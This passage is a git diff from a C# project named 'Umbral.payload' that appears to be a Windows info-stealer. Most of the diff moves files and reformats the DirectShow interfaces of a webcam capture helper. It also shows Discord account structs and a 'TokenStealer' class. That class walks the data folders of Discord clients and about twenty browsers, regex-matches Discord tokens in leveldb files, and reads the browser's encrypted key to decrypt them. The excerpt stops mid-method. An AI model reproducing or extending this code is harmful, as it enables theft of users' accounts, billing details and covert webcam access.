ContainsKey(TKey key) + { + return _dictionary.ContainsKey(key); + } + + public ICollection Keys => _dictionary.Keys; + + public bool Remove(TKey key) + { + throw new NotImplementedException(); + } + + public bool TryGetValue(TKey key, out TValue value) + { + value = this[key]; + return true; + } + + public ICollection Values => _dictionary.Values; + + public TValue this[TKey key] + { + get => Get(key); + set => throw new NotImplementedException(); + } + + public void Add(KeyValuePair item) + { + throw new NotImplementedException(); + } + + public void Clear() + { + throw new NotImplementedException(); + } + + public bool Contains(KeyValuePair item) + { + throw new NotImplementedException(); + } + + public void CopyTo(KeyValuePair[] array, int arrayIndex) + { + throw new NotImplementedException(); + } + + public int Count => _dictionary.Count; + + public bool IsReadOnly => throw new NotImplementedException(); + + public bool Remove(KeyValuePair item) + { + throw new NotImplementedException(); + } + + public IEnumerator> GetEnumerator() + { + return _dictionary.GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return _dictionary.GetEnumerator(); + } + + private TValue Get(TKey key) + { + if (_dictionary == null) + return AddValue(key); + TValue value; + if (!_dictionary.TryGetValue(key, out value)) + return AddValue(key); + return value; + } + + private TValue AddValue(TKey key) + { + TValue value = _valueFactory(key); + lock (_lock) + { + if (_dictionary == null) + { + _dictionary = new Dictionary(); + _dictionary[key] = value; + } + else + { + TValue val; + if (_dictionary.TryGetValue(key, out val)) + return val; + var dict = new Dictionary(_dictionary); + dict[key] = value; + _dictionary = dict; + } + } + + return value; + } + } + + } + } +} +// ReSharper restore LoopCanBeConvertedToQuery +// ReSharper restore RedundantExplicitArrayCreation // ReSharper restore SuggestUseVarKeywordEvident \ No newline at end of file diff --git a/Umbral.payload/Handlers/WebcamHandler.cs b/Umbral.payload/Components/Helpers/WebcamHandler.cs similarity index 93% rename from Umbral.payload/Handlers/WebcamHandler.cs rename to Umbral.payload/Components/Helpers/WebcamHandler.cs index 7b00a6d..ded4c50 100644 --- a/Umbral.payload/Handlers/WebcamHandler.cs +++ b/Umbral.payload/Components/Helpers/WebcamHandler.cs @@ -16,7 +16,7 @@ using System.Drawing; #endif -namespace Umbral.payload.Handlers +namespace Umbral.payload.Components.Helpers { // [How to use] // string[] devices = UsbCamera.FindDevices(); @@ -1449,11 +1449,11 @@ public static void DeleteMediaType(ref AM_MEDIA_TYPE mt) [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] public interface IFilterGraph { - int AddFilter([In] IBaseFilter pFilter, [In] [MarshalAs(UnmanagedType.LPWStr)] string pName); + int AddFilter([In] IBaseFilter pFilter, [In][MarshalAs(UnmanagedType.LPWStr)] string pName); int RemoveFilter([In] IBaseFilter pFilter); - int EnumFilters([In] [Out] ref IEnumFilters ppEnum); - int FindFilterByName([In] [MarshalAs(UnmanagedType.LPWStr)] string pName, [In] [Out] ref IBaseFilter ppFilter); - int ConnectDirect([In] IPin ppinOut, [In] IPin ppinIn, [In] [MarshalAs(UnmanagedType.LPStruct)] AM_MEDIA_TYPE pmt); + int EnumFilters([In][Out] ref IEnumFilters ppEnum); + int FindFilterByName([In][MarshalAs(UnmanagedType.LPWStr)] string pName, [In][Out] ref IBaseFilter ppFilter); + int ConnectDirect([In] IPin ppinOut, [In] IPin ppinIn, [In][MarshalAs(UnmanagedType.LPStruct)] AM_MEDIA_TYPE pmt); int Reconnect([In] IPin ppin); int Disconnect([In] IPin ppin); int SetDefaultSyncSource(); @@ -1467,8 +1467,8 @@ public interface IGraphBuilder : IFilterGraph { int Connect([In] IPin ppinOut, [In] IPin ppinIn); int Render([In] IPin ppinOut); - int RenderFile([In] [MarshalAs(UnmanagedType.LPWStr)] string lpcwstrFile, [In] [MarshalAs(UnmanagedType.LPWStr)] string lpcwstrPlayList); - int AddSourceFilter([In] [MarshalAs(UnmanagedType.LPWStr)] string lpcwstrFileName, [In] [MarshalAs(UnmanagedType.LPWStr)] string lpcwstrFilterName, [In] [Out] ref IBaseFilter ppFilter); + int RenderFile([In][MarshalAs(UnmanagedType.LPWStr)] string lpcwstrFile, [In][MarshalAs(UnmanagedType.LPWStr)] string lpcwstrPlayList); + int AddSourceFilter([In][MarshalAs(UnmanagedType.LPWStr)] string lpcwstrFileName, [In][MarshalAs(UnmanagedType.LPWStr)] string lpcwstrFilterName, [In][Out] ref IBaseFilter ppFilter); int SetLogFile(IntPtr hFile); int Abort(); int ShouldOperationContinue(); @@ -1485,9 +1485,9 @@ public interface IMediaControl int Stop(); int GetState(int msTimeout, out int pfs); int RenderFile(string strFilename); - int AddSourceFilter([In] string strFilename, [In] [Out] [MarshalAs(UnmanagedType.IDispatch)] ref object ppUnk); - int get_FilterCollection([In] [Out] [MarshalAs(UnmanagedType.IDispatch)] ref object ppUnk); - int get_RegFilterCollection([In] [Out] [MarshalAs(UnmanagedType.IDispatch)] ref object ppUnk); + int AddSourceFilter([In] string strFilename, [In][Out][MarshalAs(UnmanagedType.IDispatch)] ref object ppUnk); + int get_FilterCollection([In][Out][MarshalAs(UnmanagedType.IDispatch)] ref object ppUnk); + int get_RegFilterCollection([In][Out][MarshalAs(UnmanagedType.IDispatch)] ref object ppUnk); int StopWhenReady(); } @@ -1498,17 +1498,17 @@ public interface IMediaControl public interface ICaptureGraphBuilder2 { int SetFiltergraph([In] IGraphBuilder pfg); - int GetFiltergraph([In] [Out] ref IGraphBuilder ppfg); - int SetOutputFileName([In] ref Guid pType, [In] [MarshalAs(UnmanagedType.LPWStr)] string lpstrFile, [In] [Out] ref IBaseFilter ppbf, [In] [Out] ref IFileSinkFilter ppSink); - int FindInterface([In] ref Guid pCategory, [In] ref Guid pType, [In] IBaseFilter pbf, [In] IntPtr riid, [In] [Out] [MarshalAs(UnmanagedType.IUnknown)] ref object ppint); - int RenderStream([In] ref Guid pCategory, [In] ref Guid pType, [In] [MarshalAs(UnmanagedType.IUnknown)] object pSource, [In] IBaseFilter pfCompressor, [In] IBaseFilter pfRenderer); + int GetFiltergraph([In][Out] ref IGraphBuilder ppfg); + int SetOutputFileName([In] ref Guid pType, [In][MarshalAs(UnmanagedType.LPWStr)] string lpstrFile, [In][Out] ref IBaseFilter ppbf, [In][Out] ref IFileSinkFilter ppSink); + int FindInterface([In] ref Guid pCategory, [In] ref Guid pType, [In] IBaseFilter pbf, [In] IntPtr riid, [In][Out][MarshalAs(UnmanagedType.IUnknown)] ref object ppint); + int RenderStream([In] ref Guid pCategory, [In] ref Guid pType, [In][MarshalAs(UnmanagedType.IUnknown)] object pSource, [In] IBaseFilter pfCompressor, [In] IBaseFilter pfRenderer); int ControlStream([In] ref Guid pCategory, [In] ref Guid pType, [In] IBaseFilter pFilter, [In] IntPtr pstart, [In] IntPtr pstop, [In] short wStartCookie, [In] short wStopCookie); - int AllocCapFile([In] [MarshalAs(UnmanagedType.LPWStr)] string lpstrFile, [In] long dwlSize); + int AllocCapFile([In][MarshalAs(UnmanagedType.LPWStr)] string lpstrFile, [In] long dwlSize); - int CopyCaptureFile([In] [MarshalAs(UnmanagedType.LPWStr)] string lpwstrOld, [In] [MarshalAs(UnmanagedType.LPWStr)] string lpwstrNew, [In] int fAllowEscAbort, + int CopyCaptureFile([In][MarshalAs(UnmanagedType.LPWStr)] string lpwstrOld, [In][MarshalAs(UnmanagedType.LPWStr)] string lpwstrNew, [In] int fAllowEscAbort, [In] IAMCopyCaptureFileProgress pFilter); - int FindPin([In] object pSource, [In] int pindir, [In] ref Guid pCategory, [In] ref Guid pType, [In] [MarshalAs(UnmanagedType.Bool)] bool fUnconnected, [In] int num, + int FindPin([In] object pSource, [In] int pindir, [In] ref Guid pCategory, [In] ref Guid pType, [In][MarshalAs(UnmanagedType.Bool)] bool fUnconnected, [In] int num, [Out] out IntPtr ppPin); } @@ -1518,8 +1518,8 @@ int FindPin([In] object pSource, [In] int pindir, [In] ref Guid pCategory, [In] [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] public interface IFileSinkFilter { - int SetFileName([In] [MarshalAs(UnmanagedType.LPWStr)] string pszFileName, [In] [MarshalAs(UnmanagedType.LPStruct)] AM_MEDIA_TYPE pmt); - int GetCurFile([In] [Out] [MarshalAs(UnmanagedType.LPWStr)] ref string pszFileName, [Out] [MarshalAs(UnmanagedType.LPStruct)] out AM_MEDIA_TYPE pmt); + int SetFileName([In][MarshalAs(UnmanagedType.LPWStr)] string pszFileName, [In][MarshalAs(UnmanagedType.LPStruct)] AM_MEDIA_TYPE pmt); + int GetCurFile([In][Out][MarshalAs(UnmanagedType.LPWStr)] ref string pszFileName, [Out][MarshalAs(UnmanagedType.LPStruct)] out AM_MEDIA_TYPE pmt); } [ComVisible(true)] @@ -1538,11 +1538,11 @@ public interface IAMCopyCaptureFileProgress [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] public interface IAMCameraControl { - int GetRange([In] CameraControlProperty Property, [In] [Out] ref int pMin, [In] [Out] ref int pMax, [In] [Out] ref int pSteppingDelta, [In] [Out] ref int pDefault, - [In] [Out] ref int pCapsFlag); + int GetRange([In] CameraControlProperty Property, [In][Out] ref int pMin, [In][Out] ref int pMax, [In][Out] ref int pSteppingDelta, [In][Out] ref int pDefault, + [In][Out] ref int pCapsFlag); int Set([In] CameraControlProperty Property, [In] int lValue, [In] int Flags); - int Get([In] CameraControlProperty Property, [In] [Out] ref int lValue, [In] [Out] ref int Flags); + int Get([In] CameraControlProperty Property, [In][Out] ref int lValue, [In][Out] ref int Flags); } @@ -1552,11 +1552,11 @@ int GetRange([In] CameraControlProperty Property, [In] [Out] ref int pMin, [In] [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] public interface IAMVideoProcAmp { - int GetRange([In] VideoProcAmpProperty Property, [In] [Out] ref int pMin, [In] [Out] ref int pMax, [In] [Out] ref int pSteppingDelta, [In] [Out] ref int pDefault, - [In] [Out] ref int pCapsFlag); + int GetRange([In] VideoProcAmpProperty Property, [In][Out] ref int pMin, [In][Out] ref int pMax, [In][Out] ref int pSteppingDelta, [In][Out] ref int pDefault, + [In][Out] ref int pCapsFlag); int Set([In] VideoProcAmpProperty Property, [In] int lValue, [In] int Flags); - int Get([In] VideoProcAmpProperty Property, [In] [Out] ref int lValue, [In] [Out] ref int Flags); + int Get([In] VideoProcAmpProperty Property, [In][Out] ref int lValue, [In][Out] ref int Flags); } [ComVisible(true)] @@ -1582,14 +1582,14 @@ public interface IAMVideoControl public interface IKsPropertySet { [PreserveSig] - int Set([In] [MarshalAs(UnmanagedType.LPStruct)] Guid guidPropSet, [In] int dwPropID, [In] IntPtr pInstanceData, [In] int cbInstanceData, [In] IntPtr pPropData, [In] int cbPropData); + int Set([In][MarshalAs(UnmanagedType.LPStruct)] Guid guidPropSet, [In] int dwPropID, [In] IntPtr pInstanceData, [In] int cbInstanceData, [In] IntPtr pPropData, [In] int cbPropData); [PreserveSig] - int Get([In] [MarshalAs(UnmanagedType.LPStruct)] Guid guidPropSet, [In] int dwPropID, [In] IntPtr pInstanceData, [In] int cbInstanceData, [In] [Out] IntPtr pPropData, [In] int cbPropData, + int Get([In][MarshalAs(UnmanagedType.LPStruct)] Guid guidPropSet, [In] int dwPropID, [In] IntPtr pInstanceData, [In] int cbInstanceData, [In][Out] IntPtr pPropData, [In] int cbPropData, [Out] out int pcbReturned); [PreserveSig] - int QuerySupported([In] [MarshalAs(UnmanagedType.LPStruct)] Guid guidPropSet, [In] int dwPropID, [Out] out int pTypeSupport); + int QuerySupported([In][MarshalAs(UnmanagedType.LPStruct)] Guid guidPropSet, [In] int dwPropID, [Out] out int pTypeSupport); } [ComVisible(true)] @@ -1605,16 +1605,16 @@ public interface IBaseFilter int Stop(); int Pause(); int Run(long tStart); - int GetState(int dwMilliSecsTimeout, [In] [Out] ref int filtState); + int GetState(int dwMilliSecsTimeout, [In][Out] ref int filtState); int SetSyncSource([In] IReferenceClock pClock); - int GetSyncSource([In] [Out] ref IReferenceClock pClock); + int GetSyncSource([In][Out] ref IReferenceClock pClock); // ----- - int EnumPins([In] [Out] ref IEnumPins ppEnum); - int FindPin([In] [MarshalAs(UnmanagedType.LPWStr)] string Id, [In] [Out] ref IPin ppPin); + int EnumPins([In][Out] ref IEnumPins ppEnum); + int FindPin([In][MarshalAs(UnmanagedType.LPWStr)] string Id, [In][Out] ref IPin ppPin); int QueryFilterInfo([Out] FILTER_INFO pInfo); - int JoinFilterGraph([In] IFilterGraph pGraph, [In] [MarshalAs(UnmanagedType.LPWStr)] string pName); - int QueryVendorInfo([In] [Out] [MarshalAs(UnmanagedType.LPWStr)] ref string pVendorInfo); + int JoinFilterGraph([In] IFilterGraph pGraph, [In][MarshalAs(UnmanagedType.LPWStr)] string pName); + int QueryVendorInfo([In][Out][MarshalAs(UnmanagedType.LPWStr)] ref string pVendorInfo); } @@ -1627,10 +1627,10 @@ public interface IBaseFilter [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] public interface IEnumFilters { - int Next([In] int cFilters, [In] [Out] ref IBaseFilter ppFilter, [In] [Out] ref int pcFetched); + int Next([In] int cFilters, [In][Out] ref IBaseFilter ppFilter, [In][Out] ref int pcFetched); int Skip([In] int cFilters); void Reset(); - void Clone([In] [Out] ref IEnumFilters ppEnum); + void Clone([In][Out] ref IEnumFilters ppEnum); } [ComVisible(true)] @@ -1639,10 +1639,10 @@ public interface IEnumFilters [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] public interface IAMStreamConfig { - int SetFormat([In] [MarshalAs(UnmanagedType.LPStruct)] AM_MEDIA_TYPE pmt); - int GetFormat([In] [Out] [MarshalAs(UnmanagedType.LPStruct)] ref AM_MEDIA_TYPE ppmt); + int SetFormat([In][MarshalAs(UnmanagedType.LPStruct)] AM_MEDIA_TYPE pmt); + int GetFormat([In][Out][MarshalAs(UnmanagedType.LPStruct)] ref AM_MEDIA_TYPE ppmt); int GetNumberOfCapabilities(ref int piCount, ref int piSize); - int GetStreamCaps(int iIndex, [In] [Out] [MarshalAs(UnmanagedType.LPStruct)] ref AM_MEDIA_TYPE ppmt, IntPtr pSCC); + int GetStreamCaps(int iIndex, [In][Out][MarshalAs(UnmanagedType.LPStruct)] ref AM_MEDIA_TYPE ppmt, IntPtr pSCC); } [ComVisible(true)] @@ -1654,19 +1654,19 @@ public interface IMediaSample int GetPointer(ref IntPtr ppBuffer); int GetSize(); int GetTime(ref long pTimeStart, ref long pTimeEnd); - int SetTime([In] [MarshalAs(UnmanagedType.LPStruct)] ulong pTimeStart, [In] [MarshalAs(UnmanagedType.LPStruct)] ulong pTimeEnd); + int SetTime([In][MarshalAs(UnmanagedType.LPStruct)] ulong pTimeStart, [In][MarshalAs(UnmanagedType.LPStruct)] ulong pTimeEnd); int IsSyncPoint(); - int SetSyncPoint([In] [MarshalAs(UnmanagedType.Bool)] bool bIsSyncPoint); + int SetSyncPoint([In][MarshalAs(UnmanagedType.Bool)] bool bIsSyncPoint); int IsPreroll(); - int SetPreroll([In] [MarshalAs(UnmanagedType.Bool)] bool bIsPreroll); + int SetPreroll([In][MarshalAs(UnmanagedType.Bool)] bool bIsPreroll); int GetActualDataLength(); int SetActualDataLength(int len); - int GetMediaType([In] [Out] [MarshalAs(UnmanagedType.LPStruct)] ref AM_MEDIA_TYPE ppMediaType); - int SetMediaType([In] [MarshalAs(UnmanagedType.LPStruct)] AM_MEDIA_TYPE pMediaType); + int GetMediaType([In][Out][MarshalAs(UnmanagedType.LPStruct)] ref AM_MEDIA_TYPE ppMediaType); + int SetMediaType([In][MarshalAs(UnmanagedType.LPStruct)] AM_MEDIA_TYPE pMediaType); int IsDiscontinuity(); - int SetDiscontinuity([In] [MarshalAs(UnmanagedType.Bool)] bool bDiscontinuity); + int SetDiscontinuity([In][MarshalAs(UnmanagedType.Bool)] bool bDiscontinuity); int GetMediaTime(ref long pTimeStart, ref long pTimeEnd); - int SetMediaTime([In] [MarshalAs(UnmanagedType.LPStruct)] ulong pTimeStart, [In] [MarshalAs(UnmanagedType.LPStruct)] ulong pTimeEnd); + int SetMediaTime([In][MarshalAs(UnmanagedType.LPStruct)] ulong pTimeStart, [In][MarshalAs(UnmanagedType.LPStruct)] ulong pTimeEnd); } [ComVisible(true)] @@ -1675,10 +1675,10 @@ public interface IMediaSample [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] public interface IEnumMediaTypes { - int Next([In] int cMediaTypes, [In] [Out] [MarshalAs(UnmanagedType.LPStruct)] ref AM_MEDIA_TYPE ppMediaTypes, [In] [Out] ref int pcFetched); + int Next([In] int cMediaTypes, [In][Out][MarshalAs(UnmanagedType.LPStruct)] ref AM_MEDIA_TYPE ppMediaTypes, [In][Out] ref int pcFetched); int Skip([In] int cMediaTypes); int Reset(); - int Clone([In] [Out] ref IEnumMediaTypes ppEnum); + int Clone([In][Out] ref IEnumMediaTypes ppEnum); } [ComVisible(true)] @@ -1687,17 +1687,17 @@ public interface IEnumMediaTypes [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] public interface IPin { - int Connect([In] IPin pReceivePin, [In] [MarshalAs(UnmanagedType.LPStruct)] AM_MEDIA_TYPE pmt); - int ReceiveConnection([In] IPin pReceivePin, [In] [MarshalAs(UnmanagedType.LPStruct)] AM_MEDIA_TYPE pmt); + int Connect([In] IPin pReceivePin, [In][MarshalAs(UnmanagedType.LPStruct)] AM_MEDIA_TYPE pmt); + int ReceiveConnection([In] IPin pReceivePin, [In][MarshalAs(UnmanagedType.LPStruct)] AM_MEDIA_TYPE pmt); int Disconnect(); - int ConnectedTo([In] [Out] ref IPin ppPin); - int ConnectionMediaType([Out] [MarshalAs(UnmanagedType.LPStruct)] AM_MEDIA_TYPE pmt); + int ConnectedTo([In][Out] ref IPin ppPin); + int ConnectionMediaType([Out][MarshalAs(UnmanagedType.LPStruct)] AM_MEDIA_TYPE pmt); int QueryPinInfo([Out] PIN_INFO pInfo); int QueryDirection(ref PIN_DIRECTION pPinDir); - int QueryId([In] [Out] [MarshalAs(UnmanagedType.LPWStr)] ref string Id); - int QueryAccept([In] [MarshalAs(UnmanagedType.LPStruct)] AM_MEDIA_TYPE pmt); - int EnumMediaTypes([In] [Out] ref IEnumMediaTypes ppEnum); - int QueryInternalConnections(IntPtr apPin, [In] [Out] ref int nPin); + int QueryId([In][Out][MarshalAs(UnmanagedType.LPWStr)] ref string Id); + int QueryAccept([In][MarshalAs(UnmanagedType.LPStruct)] AM_MEDIA_TYPE pmt); + int EnumMediaTypes([In][Out] ref IEnumMediaTypes ppEnum); + int QueryInternalConnections(IntPtr apPin, [In][Out] ref int nPin); int EndOfStream(); int BeginFlush(); int EndFlush(); @@ -1710,10 +1710,10 @@ public interface IPin [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] public interface IEnumPins { - int Next([In] int cPins, [In] [Out] ref IPin ppPins, [In] [Out] ref int pcFetched); + int Next([In] int cPins, [In][Out] ref IPin ppPins, [In][Out] ref int pcFetched); int Skip([In] int cPins); void Reset(); - void Clone([In] [Out] ref IEnumPins ppEnum); + void Clone([In][Out] ref IEnumPins ppEnum); } [ComVisible(true)] @@ -1734,7 +1734,7 @@ public interface IReferenceClock [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] public interface ICreateDevEnum { - int CreateClassEnumerator([In] ref Guid pType, [In] [Out] ref IEnumMoniker ppEnumMoniker, [In] int dwFlags); + int CreateClassEnumerator([In] ref Guid pType, [In][Out] ref IEnumMoniker ppEnumMoniker, [In] int dwFlags); } [ComVisible(true)] @@ -1753,10 +1753,10 @@ public interface IPropertyBag [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] public interface ISampleGrabber { - int SetOneShot([In] [MarshalAs(UnmanagedType.Bool)] bool OneShot); - int SetMediaType([In] [MarshalAs(UnmanagedType.LPStruct)] AM_MEDIA_TYPE pmt); - int GetConnectedMediaType([Out] [MarshalAs(UnmanagedType.LPStruct)] AM_MEDIA_TYPE pmt); - int SetBufferSamples([In] [MarshalAs(UnmanagedType.Bool)] bool BufferThem); + int SetOneShot([In][MarshalAs(UnmanagedType.Bool)] bool OneShot); + int SetMediaType([In][MarshalAs(UnmanagedType.LPStruct)] AM_MEDIA_TYPE pmt); + int GetConnectedMediaType([Out][MarshalAs(UnmanagedType.LPStruct)] AM_MEDIA_TYPE pmt); + int SetBufferSamples([In][MarshalAs(UnmanagedType.Bool)] bool BufferThem); int GetCurrentBuffer(ref int pBufferSize, IntPtr pBuffer); int GetCurrentSample(IntPtr ppSample); int SetCallback(ISampleGrabberCB pCallback, int WhichMethodToCallback); @@ -1785,7 +1785,7 @@ public interface ISampleGrabberCB public interface IVideoWindow { int put_Caption(string caption); - int get_Caption([In] [Out] ref string caption); + int get_Caption([In][Out] ref string caption); int put_WindowStyle(int windowStyle); int get_WindowStyle(ref int windowStyle); int put_WindowStyleEx(int windowStyleEx); diff --git a/Umbral.payload/Discord/Format.cs b/Umbral.payload/Components/Messenger/Discord/Format.cs similarity index 92% rename from Umbral.payload/Discord/Format.cs rename to Umbral.payload/Components/Messenger/Discord/Format.cs index 4aa9e64..1fe17e6 100644 --- a/Umbral.payload/Discord/Format.cs +++ b/Umbral.payload/Components/Messenger/Discord/Format.cs @@ -1,89 +1,78 @@ -namespace Umbral.payload.Discord -{ - internal struct DiscordAccountFormat - { - internal readonly string Username; - - internal readonly string UserId; - - internal readonly bool Mfa; - - internal readonly string Email; - - internal readonly string PhoneNumber; - - internal readonly bool Verified; - - internal readonly string Nitro; - - internal readonly string[] BillingType; - - internal readonly string Token; - - internal readonly GiftFormat[] Gift; - - internal DiscordAccountFormat(string username, string userId, bool mfa, string email, string phoneNumber, - bool verified, string nitro, string[] billingType, string token, GiftFormat[] gifts) - { - Username = username; - UserId = userId; - Mfa = mfa; - Email = email; - PhoneNumber = phoneNumber; - Verified = verified; - Nitro = nitro; - BillingType = billingType; - Token = token; - Gift = gifts; - } - } - - internal struct GiftFormat - { - internal readonly string Title; - internal readonly string Code; - - internal GiftFormat(string title, string code) - { - Title = title; - Code = code; - } - } - - // Classes below are for json deserialization - internal struct Promotion - { - internal string outbound_title { get; set; } - } - - internal struct GiftResponseJsonFormat - { - internal Promotion promotion { get; set; } - - internal string code { get; set; } - } - - internal struct TokenResponseJsonFormat - { - internal string id { get; set; } - - internal string username { get; set; } - - internal string discriminator { get; set; } - - internal bool mfa_enabled { get; set; } - - internal int premium_type { get; set; } - - internal string email { get; set; } - - internal bool verified { get; set; } - - internal string phone { get; set; } - } - - internal struct BillingResponseJsonFormat - { - internal int type { get; set; } - } -} \ No newline at end of file +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Umbral.payload.Components.Messenger.Discord +{ + internal struct DiscordAccountFormat + { + internal readonly string Username; + internal readonly string UserId; + internal readonly bool Mfa; + internal readonly string Email; + internal readonly string PhoneNumber; + internal readonly bool Verified; + internal readonly string Nitro; + internal readonly string[] BillingType; + internal readonly string Token; + internal readonly GiftFormat[] Gift; + + internal DiscordAccountFormat(string username, string userId, bool mfa, string email, string phoneNumber, + bool verified, string nitro, string[] billingType, string token, GiftFormat[] gifts) + { + Username = username; + UserId = userId; + Mfa = mfa; + Email = email; + PhoneNumber = phoneNumber; + Verified = verified; + Nitro = nitro; + BillingType = billingType; + Token = token; + Gift = gifts; + } + } + + internal struct GiftFormat + { + internal readonly string Title; + internal readonly string Code; + + internal GiftFormat(string title, string code) + { + Title = title; + Code = code; + } + } + + // Classes below are for json deserialization + internal struct Promotion + { + internal string outbound_title { get; set; } + } + + internal struct GiftResponseJsonFormat + { + internal Promotion promotion { get; set; } + internal string code { get; set; } + } + + internal struct TokenResponseJsonFormat + { + internal string id { get; set; } + internal string username { get; set; } + internal string discriminator { get; set; } + internal bool mfa_enabled { get; set; } + internal int premium_type { get; set; } + internal string email { get; set; } + internal bool verified { get; set; } + internal string phone { get; set; } + } + + internal struct BillingResponseJsonFormat + { + internal int type { get; set; } + } +} diff --git a/Umbral.payload/Discord/TokenStealer.cs b/Umbral.payload/Components/Messenger/Discord/TokenStealer.cs similarity index 96% rename from Umbral.payload/Discord/TokenStealer.cs rename to Umbral.payload/Components/Messenger/Discord/TokenStealer.cs index af8b73d..2815b9f 100644 --- a/Umbral.payload/Discord/TokenStealer.cs +++ b/Umbral.payload/Components/Messenger/Discord/TokenStealer.cs @@ -1,455 +1,455 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Net.Http; -using System.Net.Http.Headers; -using System.Security.Cryptography; -using System.Text; -using System.Text.RegularExpressions; -using System.Threading.Tasks; -using Umbral.payload.Handlers; - -namespace Umbral.payload.Discord -{ - internal class TokenStealer - { - static private readonly string RoamingPath; - - static private readonly string LocalAppDataPath; - - static private readonly HttpClient Client; - - static private List _accounts; - - static TokenStealer() - { - RoamingPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); - - LocalAppDataPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); - - Client = new HttpClient(); - Client.DefaultRequestHeaders.Accept.Add(new MediaTypeWithQualityHeaderValue("application/json")); - Client.DefaultRequestHeaders.UserAgent.ParseAdd( - "Opera/9.80 (Windows NT 6.1; YB/4.0.0) Presto/2.12.388 Version/12.17"); - - - _accounts = new List(); - } - - internal static async Task GetAccounts() - { - await Run(); - return _accounts.ToArray(); - } - - static private async Task Run() - { - _accounts.Clear(); - var processes = new List(); - - var paths = new Dictionary - { - { "Discord", Path.Combine(RoamingPath, "discord") }, - { "Discord Canary", Path.Combine(RoamingPath, "discordcanary") }, - { "Lightcord", Path.Combine(RoamingPath, "Lightcord") }, - { "Discord PTB", Path.Combine(RoamingPath, "discordptb") }, - { "Opera", Path.Combine(RoamingPath, "Opera Software", "Opera Stable") }, - { "Opera GX", Path.Combine(RoamingPath, "Opera Software", "Opera GX Stable") }, - { "Amigo", Path.Combine(LocalAppDataPath, "Amigo", "User Data") }, - { "Torch", Path.Combine(LocalAppDataPath, "Torch", "User Data") }, - { "Kometa", Path.Combine(LocalAppDataPath, "Kometa", "User Data") }, - { "Orbitum", Path.Combine(LocalAppDataPath, "Orbitum", "User Data") }, - { "CentBrowse", Path.Combine(LocalAppDataPath, "CentBrowser", "User Data") }, - { "7Sta", Path.Combine(LocalAppDataPath, "7Star", "7Star", "User Data") }, - { "Sputnik", Path.Combine(LocalAppDataPath, "Sputnik", "Sputnik", "User Data") }, - { "Vivaldi", Path.Combine(LocalAppDataPath, "Vivaldi", "User Data") }, - { "Chrome SxS", Path.Combine(LocalAppDataPath, "Google", "Chrome SxS", "User Data") }, - { "Chrome", Path.Combine(LocalAppDataPath, "Google", "Chrome", "User Data") }, - { "FireFox", Path.Combine(RoamingPath, "Mozilla", "Firefox", "Profiles") }, - { "Epic Privacy Browse", Path.Combine(LocalAppDataPath, "Epic Privacy Browser", "User Data") }, - { "Microsoft Edge", Path.Combine(LocalAppDataPath, "Microsoft", "Edge", "User Data") }, - { "Uran", Path.Combine(LocalAppDataPath, "uCozMedia", "Uran", "User Data") }, - { "Yandex", Path.Combine(LocalAppDataPath, "Yandex", "YandexBrowser", "User Data") }, - { "Brave", Path.Combine(LocalAppDataPath, "BraveSoftware", "Brave-Browser", "User Data") }, - { "Iridium", Path.Combine(LocalAppDataPath, "Iridium", "User Data") } - }; - - foreach (var item in paths) - if (Directory.Exists(item.Value)) - switch (item.Key) - { - case "Firefox": - processes.Add(FireFoxMethod(item.Value)); - break; - default: - processes.Add(MethodA(item.Value)); - processes.Add(MethodB(item.Value)); - break; - } - - await Task.WhenAll(processes); - RemoveDuplicates(); - } - - static private async Task MethodA(string path) - { - string[] allowedExtentions = { ".log", ".ldb" }; - Regex regex = new Regex(@"[\w-]{24,26}\.[\w-]{6}\.[\w-]{25,110}", RegexOptions.Compiled); - - var processes = new List(); - var obtainedTokens = new List(); - - string[] leveldbDirs = await Task.Run(() => - Directory.GetDirectories(path, "leveldb", SearchOption.AllDirectories)); - - foreach (string dir in leveldbDirs) - { - string[] files = Directory.GetFiles(dir, "*", SearchOption.TopDirectoryOnly) - .Where(file => allowedExtentions.Contains(Path.GetExtension(file))) - .ToArray(); - - foreach (string file in files) - try - { - string content; - - using (FileStream fs = new FileStream(file, FileMode.Open, FileAccess.Read, - FileShare.ReadWrite)) - { - using (StreamReader reader = new StreamReader(fs)) - { - content = await reader.ReadToEndAsync(); - } - } - - if (!string.IsNullOrWhiteSpace(content)) - { - MatchCollection matches = regex.Matches(content); - - foreach (Match match in matches) - { - string token = match.Value; - - if (!obtainedTokens.Contains(token)) - { - processes.Add(AddAccount(token)); - obtainedTokens.Add(token); - } - } - } - } - catch (Exception e) - { - Console.WriteLine(e); - } - } - - await Task.WhenAll(processes); - } - - static private async Task MethodB(string path) - { - string[] allowedExtentions = { ".log", ".ldb" }; - Regex regex = new Regex(@"dQw4w9WgXcQ:[^.*\['(.*)'\].*$][^""]*", RegexOptions.Compiled); - - var processes = new List(); - var obtainedTokens = new List(); - - string localStatePath = Path.Combine(path, "Local State"); - string levelDbPath = Path.Combine(path, "Local Storage", "leveldb"); - - if (File.Exists(localStatePath) && Directory.Exists(levelDbPath)) - try - { - string content; - - using (FileStream fs = new FileStream(localStatePath, FileMode.Open, FileAccess.Read, - FileShare.ReadWrite)) - { - using (StreamReader reader = new StreamReader(fs)) - { - content = await reader.ReadToEndAsync(); - } - } - - dynamic jsonContent = SimpleJson.DeserializeObject(content); - - byte[] key = Convert.FromBase64String((string)jsonContent["os_crypt"]["encrypted_key"]).Skip(5).ToArray(); - - string[] files = await Task.Run(() => Directory.GetFiles(levelDbPath, "*", SearchOption.TopDirectoryOnly) - .Where(file => allowedExtentions.Contains(Path.GetExtension(file))) - .ToArray() - ); - - foreach (string file in files) - { - using (FileStream fs = new FileStream(file, FileMode.Open, FileAccess.Read, - FileShare.ReadWrite)) - { - using (StreamReader reader = new StreamReader(fs)) 